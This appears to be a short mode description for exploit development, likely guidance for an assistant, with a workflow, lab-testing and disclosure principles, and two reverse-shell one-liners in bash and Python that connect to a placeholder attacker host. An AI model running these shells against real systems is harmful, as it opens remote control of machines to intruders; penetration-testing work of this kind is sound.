Mode Exploit

Exploit Development Mode

Workflow

1. Analyze → Understand vulnerability, root cause
2. Research → Find similar exploits, CVEs, techniques
3. Develop → Write exploit code
4. Test → Verify in controlled environment
5. Document → PoC, usage instructions, impact

Common Payloads

# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Principles

• Test in lab environment first
• Document all steps clearly
• Include cleanup/restore steps
• Follow responsible disclosure
